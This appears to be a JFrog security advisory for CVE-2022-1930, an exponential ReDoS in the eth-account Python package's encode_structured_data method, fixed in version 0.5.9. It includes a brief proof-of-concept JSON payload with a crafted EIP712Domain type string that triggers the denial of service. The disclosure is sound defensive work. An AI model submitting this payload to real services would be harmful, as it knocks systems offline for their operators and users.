< Back

XRAY-248681 - eth-account ReDoS

CVE-2022-1930 | CVSS 5.9

JFrog Severity: Medium

Published 10 Aug. 2022 | Last updated 10 Aug. 2022

Summary

Exponential ReDoS in eth-account leads to denial of service

Component

eth-account

Affected versions

eth-account (,0.5.9), fixed in 0.5.9

Description

An exponential ReDoS (Regular Expression Denial of Service) can be triggered in the eth-account PyPI package, when an attacker is able to supply arbitrary input to the `encode_structured_data` method

PoC

```
{
      "types": {
            "EIP712Domain": [
                  {"name": "aaaa", "type": "$[11111111111111111111111110"},
                  {"name": "version", "type": "string"},
                  {"name": "chainId", "type": "uint256"},
                  {"name": "verifyingContract", "type": "address"}
            ]
      }
}
```

Vulnerability Mitigations

No mitigations are supplied for this issue

References

[NVD](#)

< Back